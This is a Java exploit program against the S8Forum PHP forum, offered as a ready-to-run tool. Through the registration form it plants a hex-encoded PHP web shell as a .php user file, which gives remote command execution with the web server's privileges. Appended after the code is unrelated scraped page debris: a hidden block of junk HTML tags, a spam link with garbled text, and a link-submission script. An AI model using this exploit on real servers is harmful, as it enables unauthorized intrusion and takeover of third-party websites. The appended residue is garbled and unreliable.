import java.io.*;
import java.net.*;
import java.util.*;


/**
 * <p>Title: s8Exploit</p>
 * <p>Description: Exploit for s8Forum</p>
 * @author [Franky]
 * @version 1.0
 * Product : S8Forum
 * Website : http://www.kellishaver.com/
 * Problem : A security vulnerability in S8Forum
 * This bug was discovered by Nasser.M.Sh
 *
 * This forum writen by PHP. It doesn't use database, instead
 * that it creates new file with the name of the registered user then
 * save it in (users) directory without extention.
 * The programm doesn't check user's intries, like user name,email..etc!.
 * This bug able us to run some commands on the server!.
 *
 * This program create a php file that emulate a shell with privileges of
 * web server
 * I've coded it in java because many script kiddy don't know jsdk and don't
 * wonna download it to compile this program
 *
 * Compile instruction: javac s8Exploit.java
 * Usage: java s8Exploit <www.victimhost.com> </path/to/forum>
 *
 *
 */



public class s8Exploit {

  private static char hexDec(String hex){
    int i = Integer.valueOf(hex,16).intValue();
    char aChar = new Character((char)i).charValue();
    return aChar;
  }

  private static String shellEncode(String sh){
    StringTokenizer token = new StringTokenizer(sh,"%",false);
    String tkn = "";
    StringBuffer buff = new StringBuffer();
    while(token.hasMoreTokens()){
      tkn = token.nextToken();
      buff.append(hexDec(tkn));
    }
    return buff.toString();
  }

  private static String mkfile(){

    Random r = new Random();
    int randInt = Math.abs(r.nextInt()) % 101;
    return randInt + "";

  }

  private static void banner(){
    System.out.println("");
    System.out.println("s8Forum V 3.0 Exploit by [Franky]");
    System.out.println("");
  }

  private static void usage(){
    System.out.println("");
    System.out.println("Usage: java s8Exploit <www.victimhost.com> </path/to/forum/>");
    System.exit(0);
  }
  public static void main(String[] args) {

    final String SHELLCODE = "%3c%3f%0d%0a%64%65%66%69%6e%65%28%27%50%48%50%53%48%"   +
    			     "45%4c%4c%5f%56%45%52%53%49%4f%4e%27%2c%09%27%31%2e%37%" +
    			     "09%68%61%63%6b%65%64%27%29%3b%0d%0a%3f%3e%0d%0a%3c%68%" +
    			     "74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%74%69%74%" +
    			     "6c%65%3e%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%2f%68%65%61%" +
    			     "64%3e%0d%0a%3c%62%6f%64%79%3e%0d%0a%3c%68%31%3e%50%48%" +
    			     "50%09%53%68%65%6c%6c%09%3c%3f%09%65%63%68%6f%09%50%48%" +
    			     "50%53%48%45%4c%4c%5f%56%45%52%53%49%4f%4e%09%3f%3e%3c%" +
    			     "2f%68%31%3e%0d%0a%3c%3f%0d%0a%69%66%09%28%69%6e%69%5f%" +
    			     "67%65%74%28%27%72%65%67%69%73%74%65%72%5f%67%6c%6f%62%" +
    			     "61%6c%73%27%29%09%21%3d%09%27%31%27%29%09%7b%0d%0a%09%" +
    			     "09%69%66%09%28%21%65%6d%70%74%79%28%24%48%54%54%50%5f%" +
    			     "50%4f%53%54%5f%56%41%52%53%29%29%0d%0a%09%09%09%09%65%" +
    			     "78%74%72%61%63%74%28%24%48%54%54%50%5f%50%4f%53%54%5f%" +
    			     "56%41%52%53%29%3b%0d%0a%09%09%69%66%09%28%21%65%6d%70%" +
    			     "74%79%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%29%" +
    			     "29%0d%0a%09%09%09%09%65%78%74%72%61%63%74%28%24%48%54%" +
    			     "54%50%5f%47%45%54%5f%56%41%52%53%29%3b%0d%0a%09%09%69%" +
    			     "66%09%28%21%65%6d%70%74%79%28%24%48%54%54%50%5f%53%45%" +
    			     "52%56%45%52%5f%56%41%52%53%29%29%0d%0a%09%09%09%09%65%" +
    			     "78%74%72%61%63%74%28%24%48%54%54%50%5f%53%45%52%56%45%" +
    			     "52%5f%56%41%52%53%29%3b%0d%0a%7d%0d%0a%3f%3e%0d%0a%3c%" +
    			     "66%6f%72%6d%09%6e%61%6d%65%3d%22%6d%79%66%6f%72%6d%22%" +
    			     "09%61%63%74%69%6f%6e%3d%22%3c%3f%09%65%63%68%6f%09%24%" +
    			     "50%48%50%5f%53%45%4c%46%09%3f%3e%22%09%6d%65%74%68%6f%" +
    			     "64%3d%22%70%6f%73%74%22%3e%0d%0a%3c%2f%62%3e%3c%2f%70%" +
    			     "3e%0d%0a%3c%70%3e%43%6f%6d%6d%61%6e%64%3a%09%3c%69%6e%" +
    			     "70%75%74%09%74%79%70%65%3d%22%74%65%78%74%22%09%6e%61%" +
    			     "6d%65%3d%22%63%6f%6d%6d%61%6e%64%22%09%73%69%7a%65%3d%" +
    			     "22%36%30%22%3e%0d%0a%3c%69%6e%70%75%74%09%6e%61%6d%65%" +
    			     "3d%22%73%75%62%6d%69%74%5f%62%74%6e%22%09%74%79%70%65%" +
    			     "3d%22%73%75%62%6d%69%74%22%09%76%61%6c%75%65%3d%22%45%" +
    			     "78%65%63%75%74%65%09%43%6f%6d%6d%61%6e%64%22%3e%3c%2f%" +
    			     "70%3e%0d%0a%3c%70%3e%45%6e%61%62%6c%65%09%3c%63%6f%64%" +
    			     "65%3e%73%74%64%65%72%72%3c%2f%63%6f%64%65%3e%2d%74%72%" +
    			     "61%70%70%69%6e%67%3f%09%3c%69%6e%70%75%74%09%74%79%70%" +
    			     "65%3d%22%63%68%65%63%6b%62%6f%78%22%09%6e%61%6d%65%3d%" +
    			     "22%73%74%64%65%72%72%22%3e%3c%2f%70%3e%0d%0a%3c%74%65%" +
    			     "78%74%61%72%65%61%09%63%6f%6c%73%3d%22%38%30%22%09%72%" +
    			     "6f%77%73%3d%22%32%30%22%09%72%65%61%64%6f%6e%6c%79%3e%" +
    			     "0d%0a%3c%3f%0d%0a%69%66%09%28%21%65%6d%70%74%79%28%24%" +
    			     "63%6f%6d%6d%61%6e%64%29%29%09%7b%0d%0a%09%09%69%66%09%" +
    			     "28%24%73%74%64%65%72%72%29%09%7b%0d%0a%09%09%09%09%24%" +
    			     "74%6d%70%66%69%6c%65%09%3d%09%74%65%6d%70%6e%61%6d%28%" +
    			     "27%2f%74%6d%70%27%2c%09%27%70%68%70%73%68%65%6c%6c%27%" +
    			     "29%3b%0d%0a%09%09%09%09%24%63%6f%6d%6d%61%6e%64%09%2e%" +
    			     "3d%09%22%09%31%3e%09%24%74%6d%70%66%69%6c%65%09%32%3e%" +
    			     "26%31%3b%09%22%09%2e%0d%0a%09%09%09%09%22%63%61%74%09%" +
    			     "24%74%6d%70%66%69%6c%65%3b%09%72%6d%09%24%74%6d%70%66%" +
    			     "69%6c%65%22%3b%0d%0a%09%09%7d%09%65%6c%73%65%09%69%66%" +
    			     "09%28%24%63%6f%6d%6d%61%6e%64%09%3d%3d%09%27%6c%73%27%" +
    			     "29%09%7b%0d%0a%09%09%09%09%24%63%6f%6d%6d%61%6e%64%09%" +
    			     "2e%3d%09%27%09%2d%46%27%3b%0d%0a%09%09%7d%0d%0a%09%09%" +
    			     "73%79%73%74%65%6d%28%24%63%6f%6d%6d%61%6e%64%29%3b%0d%" +
    			     "0a%7d%0d%0a%3f%3e%0d%0a%3c%2f%74%65%78%74%61%72%65%61%" +
    			     "3e%0d%0a%3c%2f%66%6f%72%6d%3e%0d%0a%3c%73%63%72%69%70%" +
    			     "74%09%6c%61%6e%67%75%61%67%65%3d%22%4a%61%76%61%53%63%" +
    			     "72%69%70%74%22%09%74%79%70%65%3d%22%74%65%78%74%2f%6a%" +
    			     "61%76%61%73%63%72%69%70%74%22%3e%0d%0a%64%6f%63%75%6d%" +
    			     "65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%63%6f%6d%6d%61%" +
    			     "6e%64%2e%66%6f%63%75%73%28%29%3b%0d%0a%3c%2f%73%63%72%" +
    			     "69%70%74%3e%0d%0a%3c%68%72%3e%0d%0a%3c%69%3e%43%6f%70%" +
    			     "79%72%69%67%68%74%09%26%63%6f%70%79%3b%09%32%30%30%30%" +
    			     "26%6e%64%61%73%68%3b%32%30%30%32%2c%09%3c%61%0d%0a%68%" +
    			     "72%65%66%3d%22%6d%61%69%6c%74%6f%3a%67%69%6d%70%73%74%" +
    			     "65%72%40%67%69%6d%70%73%74%65%72%2e%63%6f%6d%22%3e%4d%" +
    			     "61%72%74%69%6e%09%47%65%69%73%6c%65%72%3c%2f%61%3e%2e%" +
    			     "09%47%65%74%09%74%68%65%09%6c%61%74%65%73%74%0d%0a%76%" +
    			     "65%72%73%69%6f%6e%09%61%74%09%3c%61%09%68%72%65%66%3d%" +
    			     "22%68%74%74%70%3a%2f%2f%77%77%77%2e%67%69%6d%70%73%74%" +
    			     "65%72%2e%63%6f%6d%22%3e%77%77%77%2e%67%69%6d%70%73%74%" +
    			     "65%72%2e%63%6f%6d%3c%2f%61%3e%2e%3c%2f%69%3e%0d%0a%3c%" +
    			     "2f%62%6f%64%79%3e%0d%0a%3c%2f%68%74%6d%6c%3e%0d%0a";
    String hostname = "";
    String path     = "";
    String tmp      = "";
    int port        = 80;

    banner();

    if (args.length != 2){
      usage();
    }
    hostname = args[0];
    path = args[1];
    try{
      System.out.println("Create remote socket...please wait...");
      URL url = new URL("http://"+ hostname +":80"+ path + "/register.php");
      URLConnection conn = url.openConnection();
      conn.setDoOutput(true);
      InetAddress addr = InetAddress.getByName(hostname);
      Socket socket = new Socket(addr, port);
      System.out.println("CONNECT!");
      tmp = shellEncode(SHELLCODE);
      String shelldata = URLEncoder.encode(tmp,"UTF-8");
      String fpre = mkfile();
      String postdata = URLEncoder.encode("mode","UTF-8")    + "=" + URLEncoder.encode("registration_confirm","UTF-8")+"&"+
                        URLEncoder.encode("uname","UTF-8")   + "=" + URLEncoder.encode("franky"+fpre+"code.php","UTF-8") + "&" +
                        URLEncoder.encode("passwd","UTF-8")  + "=" + URLEncoder.encode("franky"+fpre+"code.","UTF-8") + "&"+
                        URLEncoder.encode("passwd1","UTF-8") + "=" + URLEncoder.encode("franky"+fpre+"code.","UTF-8") + "&"+
                        URLEncoder.encode("email","UTF-8")   + "=" + shelldata;

      System.out.println("Sending exploit...");

      OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
      wr.write(postdata);
      wr.flush();
      System.out.print("DONE!");
      BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
        String line;
        while ((line = rd.readLine()) != null) {
          // System.out.println(line);
        }
        wr.close();
        rd.close();
        System.out.println("Ok, point your browser at http://"+hostname+path+"users/franky"+fpre+"code.php");
    }catch(UnknownHostException e){
      System.out.print("Exploit faild: Unknown host "+hostname);
      System.exit(1);
    }catch(IOException e){
      System.out.println("Exploit faild: IOException:" + e.toString());
      System.exit(1);
    }

  }

}<div style="position:fixed;left:-9000px;top:-9000px;"><em id="7ztzv"></em><center id="7ztzv"></center><mark id="7ztzv"><center id="7ztzv"></center></mark><output id="7ztzv"><noframes id="7ztzv"></noframes></output><font id="7ztzv"><delect id="7ztzv"></delect></font><ruby id="7ztzv"><big id="7ztzv"></big></ruby><progress id="7ztzv"><sub id="7ztzv"></sub></progress><th id="7ztzv"><big id="7ztzv"></big></th><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><video id="7ztzv"></video></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><strike id="7ztzv"><span id="7ztzv"></span></strike><em id="7ztzv"><span id="7ztzv"></span></em><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><noframes id="7ztzv"></noframes></th><em id="7ztzv"><span id="7ztzv"></span></em><ins id="7ztzv"><b id="7ztzv"></b></ins><ol id="7ztzv"><output id="7ztzv"></output></ol><menuitem id="7ztzv"><thead id="7ztzv"></thead></menuitem><del id="7ztzv"><ruby id="7ztzv"></ruby></del><noframes id="7ztzv"><span id="7ztzv"></span></noframes><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><progress id="7ztzv"><thead id="7ztzv"></thead></progress><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><strike id="7ztzv"><pre id="7ztzv"></pre></strike><em id="7ztzv"><address id="7ztzv"></address></em><big id="7ztzv"><address id="7ztzv"></address></big><address id="7ztzv"><listing id="7ztzv"></listing></address><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><big id="7ztzv"><sub id="7ztzv"></sub></big><var id="7ztzv"><meter id="7ztzv"></meter></var><span id="7ztzv"><video id="7ztzv"></video></span><listing id="7ztzv"><mark id="7ztzv"></mark></listing><progress id="7ztzv"><address id="7ztzv"></address></progress><nobr id="7ztzv"><progress id="7ztzv"></progress></nobr><noframes id="7ztzv"><sub id="7ztzv"></sub></noframes><font id="7ztzv"><delect id="7ztzv"></delect></font><strike id="7ztzv"><pre id="7ztzv"></pre></strike><delect id="7ztzv"><menuitem id="7ztzv"></menuitem></delect><em id="7ztzv"><pre id="7ztzv"></pre></em><mark id="7ztzv"><cite id="7ztzv"></cite></mark><delect id="7ztzv"><ins id="7ztzv"></ins></delect><pre id="7ztzv"><rp id="7ztzv"></rp></pre><cite id="7ztzv"><var id="7ztzv"></var></cite><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><ruby id="7ztzv"><p id="7ztzv"></p></ruby><em id="7ztzv"><form id="7ztzv"></form></em><rp id="7ztzv"><em id="7ztzv"></em></rp>
<video id="7ztzv"><noframes id="7ztzv"></noframes></video><cite id="7ztzv"><del id="7ztzv"></del></cite><meter id="7ztzv"><thead id="7ztzv"></thead></meter><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><thead id="7ztzv"></thead></meter><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><mark id="7ztzv"><cite id="7ztzv"></cite></mark><menuitem id="7ztzv"><font id="7ztzv"></font></menuitem><del id="7ztzv"><rp id="7ztzv"></rp></del><thead id="7ztzv"><delect id="7ztzv"></delect></thead><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><ins id="7ztzv"><cite id="7ztzv"></cite></ins><delect id="7ztzv"><output id="7ztzv"></output></delect><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><p id="7ztzv"></p></ruby><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><progress id="7ztzv"><address id="7ztzv"></address></progress><thead id="7ztzv"><var id="7ztzv"></var></thead><ins id="7ztzv"><i id="7ztzv"></i></ins><ins id="7ztzv"><b id="7ztzv"></b></ins><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><ins id="7ztzv"><i id="7ztzv"></i></ins><font id="7ztzv"><delect id="7ztzv"></delect></font><em id="7ztzv"><form id="7ztzv"></form></em><var id="7ztzv"><ins id="7ztzv"></ins></var><span id="7ztzv"><th id="7ztzv"></th></span><ol id="7ztzv"><rp id="7ztzv"></rp></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><address id="7ztzv"><dfn id="7ztzv"></dfn></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><noframes id="7ztzv"><span id="7ztzv"></span></noframes><noframes id="7ztzv"><form id="7ztzv"></form></noframes><big id="7ztzv"><form id="7ztzv"></form></big><track id="7ztzv"><noframes id="7ztzv"></noframes></track><em id="7ztzv"><span id="7ztzv"></span></em><span id="7ztzv"><th id="7ztzv"></th></span><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><em id="7ztzv"></em></video><delect id="7ztzv"><ins id="7ztzv"></ins></delect><b id="7ztzv"><del id="7ztzv"></del></b><progress id="7ztzv"><sub id="7ztzv"></sub></progress><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><rp id="7ztzv"><em id="7ztzv"></em></rp><track id="7ztzv"><noframes id="7ztzv"></noframes></track><address id="7ztzv"><th id="7ztzv"></th></address><cite id="7ztzv"><delect id="7ztzv"></delect></cite><cite id="7ztzv"><var id="7ztzv"></var></cite><output id="7ztzv"><i id="7ztzv"></i></output><track id="7ztzv"><big id="7ztzv"></big></track>
<big id="7ztzv"><address id="7ztzv"></address></big><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><font id="7ztzv"></font></meter><address id="7ztzv"><nobr id="7ztzv"></nobr></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><pre id="7ztzv"><video id="7ztzv"></video></pre><th id="7ztzv"><progress id="7ztzv"></progress></th><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><em id="7ztzv"></em></ruby><del id="7ztzv"><ins id="7ztzv"></ins></del><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><var id="7ztzv"></var></thead><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><b id="7ztzv"><del id="7ztzv"></del></b><big id="7ztzv"><address id="7ztzv"></address></big><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><ins id="7ztzv"></ins></ol><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><listing id="7ztzv"><progress id="7ztzv"></progress></listing><delect id="7ztzv"><output id="7ztzv"></output></delect><noframes id="7ztzv"><span id="7ztzv"></span></noframes><track id="7ztzv"><noframes id="7ztzv"></noframes></track><menuitem id="7ztzv"><sub id="7ztzv"></sub></menuitem><address id="7ztzv"><th id="7ztzv"></th></address><address id="7ztzv"><track id="7ztzv"></track></address><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><em id="7ztzv"><pre id="7ztzv"></pre></em><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><form id="7ztzv"></form></em><form id="7ztzv"><track id="7ztzv"></track></form><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><rp id="7ztzv"><noframes id="7ztzv"></noframes></rp><i id="7ztzv"><ol id="7ztzv"></ol></i><i id="7ztzv"><del id="7ztzv"></del></i><cite id="7ztzv"><delect id="7ztzv"></delect></cite><strike id="7ztzv"><dl id="7ztzv"></dl></strike><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><address id="7ztzv"><th id="7ztzv"></th></address><ins id="7ztzv"><font id="7ztzv"></font></ins><thead id="7ztzv"><var id="7ztzv"></var></thead><video id="7ztzv"><strike id="7ztzv"></strike></video><p id="7ztzv"><pre id="7ztzv"></pre></p><video id="7ztzv"><i id="7ztzv"></i></video><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><listing id="7ztzv"></listing></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><address id="7ztzv"><th id="7ztzv"></th></address><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var>
<p id="7ztzv"><var id="7ztzv"></var></p><ins id="7ztzv"><i id="7ztzv"></i></ins><strike id="7ztzv"><span id="7ztzv"></span></strike><del id="7ztzv"><output id="7ztzv"></output></del><font id="7ztzv"><delect id="7ztzv"></delect></font><output id="7ztzv"><em id="7ztzv"></em></output><p id="7ztzv"><span id="7ztzv"></span></p><big id="7ztzv"><thead id="7ztzv"></thead></big><video id="7ztzv"><noframes id="7ztzv"></noframes></video><b id="7ztzv"><ol id="7ztzv"></ol></b><font id="7ztzv"><dfn id="7ztzv"></dfn></font><font id="7ztzv"><var id="7ztzv"></var></font><ins id="7ztzv"><i id="7ztzv"></i></ins><dfn id="7ztzv"><meter id="7ztzv"></meter></dfn><rp id="7ztzv"><strike id="7ztzv"></strike></rp><del id="7ztzv"><ruby id="7ztzv"></ruby></del><var id="7ztzv"><ruby id="7ztzv"></ruby></var><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><del id="7ztzv"><ruby id="7ztzv"></ruby></del><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><track id="7ztzv"><noframes id="7ztzv"></noframes></track><form id="7ztzv"><nobr id="7ztzv"></nobr></form><video id="7ztzv"><big id="7ztzv"></big></video><video id="7ztzv"><em id="7ztzv"></em></video><p id="7ztzv"><span id="7ztzv"></span></p><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><ins id="7ztzv"><b id="7ztzv"></b></ins><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><var id="7ztzv"><mark id="7ztzv"></mark></var><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><address id="7ztzv"><th id="7ztzv"></th></address><form id="7ztzv"><th id="7ztzv"></th></form><mark id="7ztzv"><cite id="7ztzv"></cite></mark><progress id="7ztzv"><font id="7ztzv"></font></progress><mark id="7ztzv"><cite id="7ztzv"></cite></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><mark id="7ztzv"><font id="7ztzv"></font></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><pre id="7ztzv"><video id="7ztzv"></video></pre><strike id="7ztzv"><dl id="7ztzv"></dl></strike><delect id="7ztzv"><ins id="7ztzv"></ins></delect><dl id="7ztzv"><rp id="7ztzv"></rp></dl><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><p id="7ztzv"><dl id="7ztzv"></dl></p><mark id="7ztzv"><i id="7ztzv"></i></mark><meter id="7ztzv"><sub id="7ztzv"></sub></meter><rp id="7ztzv"><em id="7ztzv"></em></rp><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead>
<th id="7ztzv"><big id="7ztzv"></big></th><del id="7ztzv"><rp id="7ztzv"></rp></del><video id="7ztzv"><big id="7ztzv"></big></video><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><big id="7ztzv"><sub id="7ztzv"></sub></big><track id="7ztzv"><em id="7ztzv"></em></track><cite id="7ztzv"><ol id="7ztzv"></ol></cite><i id="7ztzv"><dl id="7ztzv"></dl></i><noframes id="7ztzv"><address id="7ztzv"></address></noframes><ruby id="7ztzv"><i id="7ztzv"></i></ruby><delect id="7ztzv"><output id="7ztzv"></output></delect><delect id="7ztzv"><output id="7ztzv"></output></delect><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><ol id="7ztzv"><ruby id="7ztzv"></ruby></ol><delect id="7ztzv"><output id="7ztzv"></output></delect><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><track id="7ztzv"><big id="7ztzv"></big></track><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><b id="7ztzv"></b></mark><i id="7ztzv"><ol id="7ztzv"></ol></i><progress id="7ztzv"><sub id="7ztzv"></sub></progress><rp id="7ztzv"><strike id="7ztzv"></strike></rp><font id="7ztzv"><var id="7ztzv"></var></font><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><em id="7ztzv"></em></th><delect id="7ztzv"><ins id="7ztzv"></ins></delect><sub id="7ztzv"><delect id="7ztzv"></delect></sub><progress id="7ztzv"><sub id="7ztzv"></sub></progress><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><listing id="7ztzv"></listing></thead><form id="7ztzv"><th id="7ztzv"></th></form><track id="7ztzv"><em id="7ztzv"></em></track><dfn id="7ztzv"><menuitem id="7ztzv"></menuitem></dfn><b id="7ztzv"><dl id="7ztzv"></dl></b><nobr id="7ztzv"><big id="7ztzv"></big></nobr><track id="7ztzv"><progress id="7ztzv"></progress></track><ruby id="7ztzv"><p id="7ztzv"></p></ruby><pre id="7ztzv"><nobr id="7ztzv"></nobr></pre><pre id="7ztzv"><track id="7ztzv"></track></pre><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><i id="7ztzv"></i></mark><rp id="7ztzv"><p id="7ztzv"></p></rp><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><sub id="7ztzv"><dfn id="7ztzv"></dfn></sub><thead id="7ztzv"><var id="7ztzv"></var></thead><i id="7ztzv"><ol id="7ztzv"></ol></i><track id="7ztzv"><strike id="7ztzv"></strike></track></div>

<a href="http://www.bjnorthway.com/">ÑÇÖÞÅ·ÃÀÔÚÏß</a>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>